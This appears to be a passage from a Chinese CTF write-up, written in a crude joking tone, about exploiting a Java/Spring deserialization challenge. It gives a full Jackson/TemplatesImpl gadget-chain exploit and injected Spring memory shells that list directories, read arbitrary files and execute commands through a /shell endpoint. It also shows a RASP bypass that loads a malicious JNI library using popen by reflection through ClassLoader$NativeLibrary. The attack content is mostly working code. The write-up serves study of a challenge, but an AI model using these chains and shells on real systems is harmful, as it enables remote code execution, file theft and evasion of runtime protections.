 42
 43
 44
 45
 46
 
 | package org.example;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
 
 public class Test {
 public static void main(String[] args) {
 
 Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler());
 for(Method m: myProxy.getClass().getDeclaredMethods()) {
 System.out.println(m.getName());
 }
 }
 }
 
 interface TestInterface1 {
 public void say();
 }
 
 interface TestInterface2 {
 public void test();
 }
 
 class TestProxy {
 
 
 public void eat() {
 System.out.println("eat something");
 }
 public void say() {
 System.out.println("say something");
 }
 public String getName(String a) {
 return a;
 }
 }
 
 class MyHandler implements InvocationHandler {
 
 @Override
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 System.out.println("invoke dynamic proxy handler");
 return null;
 }
 }
 
 | 

这是执行结果,可以看懂能获取到的方法,完全取决于接口实现了哪些方法
而  javax.xml.transform.Templates  接口其只有  newTransformer  和  getOutputProperties  这个两个方法,让他作为我们代理所需的接口,这样最终通过  getDeclaredMethods  获取到的方法就只有  newTransformer  和  getOutputProperties  了,那么最终获得的 getter 方法便只有  getOutputProperties  了。
因此只需要挂代理,就只会获取接口方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 
 | package org.example;
 import javax.xml.transform.Templates;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
 
 public class Test {
 public static void main(String[] args) {
 
 Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{Templates.class}, new MyHandler());
 for(Method m: myProxy.getClass().getDeclaredMethods()) {
 System.out.println(m.getName());
 }
 }
 }
 
 interface TestInterface1 {
 public void say();
 }
 
 interface TestInterface2 {
 public void test();
 }
 
 class TestProxy {
 
 public void eat() {
 System.out.println("eat something");
 }
 public void say() {
 System.out.println("say something");
 }
 public String getName(String a) {
 return a;
 }
 }
 
 class MyHandler implements InvocationHandler {
 
 @Override
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 System.out.println("invoke dynamic proxy handler");
 return null;
 }
 }
 
 | 

这两个方法是 Templates  里面定义的接口方法
JdkDynamicAopProxy  是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。

这里能够控制 advised

这里会触发反射方法,这里 advised  前面说过了可控
我们将所需的  TemplatesImpl  的对象用  org.springframework.aop.framework.AdvisedSupport  封装即可
| 12
 3
 4
 
 | Object oldProxy = null;boolean setProxyContext = false;
 TargetSource targetSource = this.advised.targetSource;
 Object target = null;
 
 | 


 构造
| 12
 3
 4
 5
 6
 7
 8
 
 | Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
 cons.setAccessible(true);
 AdvisedSupport advisedSupport = new AdvisedSupport();
 advisedSupport.setTarget(templatesImpl);
 InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
 Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
 POJONode jsonNodes = new POJONode(proxyObj);
 
 | 
👴の最後のエクスプロイト
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 
 | import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
 import com.fasterxml.jackson.databind.node.BaseJsonNode;
 import javax.management.BadAttributeValueExpException;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.Base64;
 
 
 public class exp {
 public static void main(String[] args)throws Exception{
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 TemplatesImpl templates = new TemplatesImpl();
 
 ref(templates, "_bytecodes", new byte[][]{});
 ref(templates, "_name", "shanghe");
 ref(templates, "_tfactory", new TransformerFactoryImpl());
 
 POJONode jsonNodes = new POJONode(templates);
 BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
 Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
 val.setAccessible(true);
 val.set(exp,jsonNodes);
 
 serialize_func.serialize(exp);
 WriteToFileExample(serialize_func.encryptToBase64("ser.bin"));
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 }
 
 public static void WriteToFileExample(String args) {
 String content = "这是要写入文件的字符串内容";
 
 try {
 BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
 writer.write(args);
 writer.close();
 System.out.println("字符串已成功写入文件。");
 } catch (IOException e) {
 System.out.println("写入文件时发生错误:" + e.getMessage());
 }
 }
 public  static void ref(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
 
 Field reffield = obj.getClass().getDeclaredField(field);
 reffield.setAccessible(true);
 reffield.set(obj,value);
 
 }
 public static String serial(Object o) throws IOException, NoSuchFieldException{
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baos);
 
 oos.writeObject(o);
 oos.close();
 String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
 return base64String;
 }
 public static void deserial(String data) throws Exception {
 byte[] base64decodedBytes = Base64.getDecoder().decode(data);
 ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
 ObjectInputStream ois = new ObjectInputStream(bais);
 ois.readObject();
 ois.close();
 }
 }
 
 
 | 
 内存🐎的使用🥵👴
捏麻麻滴,太复杂了,还要写个内存马找到 RASP, 还好👴技高一筹.
 列目录
nm, 跟喝大了一样,整这 b 玩意,艹😡
首先来一个递归列出所有目录文件的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.http.*;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.util.Base64;
 
 public class exls extends AbstractTranslet {
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 static{
 try{
 
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method readmethod = exls.class.getMethod("ls", HttpServletRequest.class,HttpServletResponse.class);
 
 RequestMappingInfo info = RequestMappingInfo.paths("/ls").options(config).build();
 exls readfile_inject = new exls();
 mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
 
 
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 
 
 public static void ls(HttpServletRequest request,HttpServletResponse response) throws IOException {
 String rootDirectory = request.getParameter("dir");
 listFilesAndDirectories(new File(rootDirectory),response);
 response.getWriter().flush();
 }
 
 public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException {
 File[] files = directory.listFiles();
 
 if (files != null) {
 for (File file : files) {
 if (file.isFile()) {
 response.getWriter().write("File: " + file.getAbsolutePath());
 } else if (file.isDirectory()) {
 response.getWriter().write("Directory: " + file.getAbsolutePath());
 listFilesAndDirectories(file,response);
 }
 }
 }
 }
 
 
 
 }
 
 
 
 | 
这样的缺点是列出根目录的时候太多杂碎的东西,👴看不动,要不是👴知道 /home 下面有东西,这玩意太难找了.
优化一下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.http.*;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.util.Base64;
 
 public class exls extends AbstractTranslet {
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 static{
 try{
 
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method readmethod = exls.class.getMethod("ls1", HttpServletRequest.class,HttpServletResponse.class);
 
 RequestMappingInfo info = RequestMappingInfo.paths("/ls1").options(config).build();
 exls readfile_inject = new exls();
 mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
 
 
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 
 
 public static void ls1(HttpServletRequest request,HttpServletResponse response) throws IOException {
 String rootDirectory = request.getParameter("dir");
 listFilesAndDirectories(new File(rootDirectory),response);
 response.getWriter().flush();
 }
 
 public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException {
 File[] files = directory.listFiles();
 
 if (files != null) {
 for (File file : files) {
 if (file!=null) {
 response.getWriter().write(file.getAbsolutePath()+"\r\n");
 }
 }
 }
 }
 
 
 
 }
 
 
 
 | 

这样看起来舒服多了,👴很中意😊
 读文件
👴想尝试柏璐杯的代码,直接通过 ResponseEntity  下载文件,很可惜,失败了,但是涉及到二进制文件的读取,怎么办,👴用 base64 读出来,👴真 tm 是完美天才的 idol (bushi)
终于👴想明白了一件事,写出了内存🐎
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.http.*;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.util.Base64;
 
 public class exre extends AbstractTranslet {
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 static{
 try{
 
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method readmethod = exre.class.getMethod("readfile2", HttpServletRequest.class,HttpServletResponse.class);
 
 RequestMappingInfo info = RequestMappingInfo.paths("/readfile2").options(config).build();
 exre readfile_inject = new exre();
 mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
 
 
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 
 public void readfile2(HttpServletRequest request, HttpServletResponse response) throws IOException {
 
 String filePath = request.getParameter("filepath");
 if(filePath!=null){
 FileInputStream fileInputStream = new FileInputStream(filePath);
 byte[] fileBytes = new byte[fileInputStream.available()];
 fileInputStream.read(fileBytes);
 fileInputStream.close();
 String base64String = Base64.getEncoder().encodeToString(fileBytes);
 response.getWriter().write(base64String);
 response.getWriter().flush();
 
 
 }
 
 
 }
 }
 
 
 | 
什么,你说你不会 base64 转成二进制文件?🤣
自己写个脚本转换都行,👴告诉你,还能上 cyberchef 转换,还能导出为文件😅
 RASP😅😡
绕过 content-length 就简单了?8 可能!
nmb 甚至有 RASP,√Ⅷ,👴没学过.
 啥事 RASP
在 2012 年的时候,Gartner 引入了 Runtime application self-protection  一词,简称为 RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP 技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web 和非 Web 应用程序都可以通过 RASP 进行保护。该技术不会影响应用程序的设计,因为 RASP 的检测和保护功能是在应用程序运行的系统上运行的。
👴说人话:就是 nm 把内存过滤,实时动态防护。别人叫内存马,你叫内存盾.
至于这玩意,👴就不在这里赘述了,先等👴新开个文章,记录一下 RASP 的学习笔记.
👴回来了,到了最后的步骤了., 看👴绕过这该死的 RASP.
通过 java-agent 插桩技术,hook 住了一些底层的类,使得 java 的 exec 不能够执行
一般是 unix 或这 forkandexec
forkAndExec  通常是与操作系统进程管理相关的操作,用于在类 Unix 操作系统中(如 Linux)创建子进程并在子进程中执行指定的程序。
可恶的 RASP hook 住了这些类


甚至还不让本地 JNI 加载了, loadLibrary0  也被 hook 了
 解决方案😒
底层的 native 方法  java.lang.ClassLoader.NativeLibrary#load  并未被 hook,并且反射也是可以正常使用的,所以可以尝试使用反射来调用  java.lang.ClassLoader.NativeLibrary  中的  load  方法来加载恶意 so 文件执行命令
船新姿势之 javah
可以,我就喜欢 h😊
javah  是 Java 开发工具包 (JDK) 提供的一个命令行工具,用于生成 Java 类的本地方法接口 (Native Method Interface, JNI) 头文件。JNI 允许 Java 代码与本地(通常是 C 或 C++)代码进行交互,这在某些情况下非常有用,例如与硬件交互或与现有的本地库进行集成。
编写包含本地方法声明的 Java 类,使用  native  关键字声明本地方法。
| 12
 3
 
 | public class EvilClass  {public static native String execCmd(String cmd);
 }
 
 | 
然后使用 javac 编译成 class, 然后使用 javah 编译成 h 文件
生成的 EvilClass.h 如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | #include <jni.h>
 
 
 #ifndef _Included_EvilClass
 #define _Included_EvilClass
 #ifdef __cplusplus
 extern "C" {
 #endif
 
 
 
 
 
 JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
 (JNIEnv *, jclass, jstring);
 
 #ifdef __cplusplus
 }
 #endif
 #endif
 
 
 | 
接下来还要根据这个 h 文件写 C 文件,nm👴不会 c
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | int execmd(const char *cmd, char *result){
 char buffer[1024*12];
 FILE *pipe = popen(cmd, "r");
 if (!pipe)
 return 0;
 
 while (!feof(pipe))
 {
 if (fgets(buffer, 128, pipe))
 {
 strcat(result, buffer);
 }
 }
 pclose(pipe);
 return 1;
 }
 
 | 
这里开启了一个缓冲区, popen  是 C 中执行命令时打开的一个管道,以只读模式打开。如果为空,则命令执行失败,返回.
同时 while 使用 feof 检测 pipe 状态,未结束就持续从 pipe 里面每次最大获取 128 个字节内容,放到缓冲区,然后将结果追加到 result  中.
随后
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr){
 const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
 char result[1024 * 12] = "";
 
 if (1 == execmd(cstr, result))
 {
 
 }
 
 char return_messge[100] = "";
 strcat(return_messge, result);
 
 jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
 
 return cmdresult;
 }
 
 
 | 
 JNI 规范
JNI 原型函数: JNI 规范定义了一组标准的 JNI 函数原型,如 GetStringUTFChars 、 ReleaseStringUTFChars  等,以方便操作字符串、数组、引用等常见任务。
JNI 函数命名规范: JNI 函数的命名必须遵循特定的命名规范,通常是 Java 类名(用下划线替代点号)后跟 Java 方法名。例如,Java 类 com.example.MyClass  中的方法 myNativeFunction  对应的 JNI 函数应为 Java_com_example_MyClass_myNativeFunction 。
JNIEnv 指针: JNI 函数的第一个参数是一个 JNIEnv  指针,它是一个关于 JNI 环境的上下文。通过 JNIEnv ,JNI 函数可以访问 Java 虚拟机的各种功能,如对象创建、方法调用和异常处理。
数据类型转换: JNI 定义了各种数据类型的对应关系,以便 Java 和本地代码之间的数据传递。例如,Java 的 int  对应 JNI 的 jint ,Java 的 String  对应 JNI 的 jstring  等。JNI 函数允许在这些数据类型之间进行转换。
从参数上看:它接受三个参数: JNIEnv *env (JNI 环境指针)、 jclass class_object (表示 Java 类的类对象)、 jstring jstr (一个 Java 字符串)。
通过  (*env)->GetStringUTFChars  函数将 Java 字符串  jstr  转换为 C 字符串  cstr ,这是因为  execmd  函数需要接受 C 字符串作为参数。
中间执行命令,存储.
使用  (*env)->NewStringUTF  函数创建一个新的 Java 字符串  cmdresult ,用于存储返回消息。
将两部分放在一起,形成 c 文件,然后编译
编译:
| 12
 
 | gcc -FPIC -I /home/siroha/java8202/include -I /home/siroha/java8202/include/linux -shared -o libcmd.so ./EvilClass.cbase64 -w 0 libcmd.so > Evil.txt
 
 | 
写文件的操作
| 12
 3
 4
 
 | RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");randomAccessFile.write(jniBytes);
 randomAccessFile.close();
 
 
 | 
最终写个 load 的内存🐎
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.RandomAccessFile;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.Base64;
 import java.util.Vector;
 
 public class EvilClass extends AbstractTranslet {
 public static native String execCmd(String cmd);
 private static final String EVIL_JNI_BASE64 = "";
 private static final String LIB_PATH = "/tmp/libcmd.so";
 
 static {
 
 try{
 byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
 RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
 randomAccessFile.write(jniBytes);
 randomAccessFile.close();
 
 
 
 ClassLoader cmdLoader = EvilClass.class.getClassLoader();
 Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
 Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
 Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
 
 load.setAccessible(true);
 Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
 field.setAccessible(true);
 
 Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
 Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
 nativeLibraryCons.setAccessible(true);
 Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
 libs.addElement(nativeLibraryObj);
 field.set(cmdLoader, libs);
 load.invoke(nativeLibraryObj, LIB_PATH, false);
 
 
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config =
 (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
 RequestMappingInfo info = RequestMappingInfo.paths("/shell")
 .options(config)
 .build();
 EvilClass springControllerMemShell = new EvilClass();
 mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
 
 
 
 
 
 
 
 }catch (Exception e){
 e.printStackTrace();
 }
 }
 public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
 
 String cmd = request.getParameter("cmd");
 if (cmd != null) {
 String execRes = EvilClass.execCmd(cmd);
 response.getWriter().write(execRes);
 response.getWriter().flush();
 }
 }
 
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 }
 
 
 | 
NativeLibrary  包装到 Vector,Vector 是 Classloader  中 nativeLibraries  的值,
一般来说用
| 12
 3
 4
 
 | System.loadLibrary("cmd");Command command = new Command();
 String ipconfig = command.exec("ipconfig");
 System.out.println(ipconfig);
 
 | 
题目 ban 了.

芜湖,真√Ⅷ 爽,√Ⅷ 真爽,终出了.
捏麻麻地,👴花了几天时间,学了一堆东西.
怎么制作链子,怎么 python 发包,👴在前面已经分析过了。不用问了😅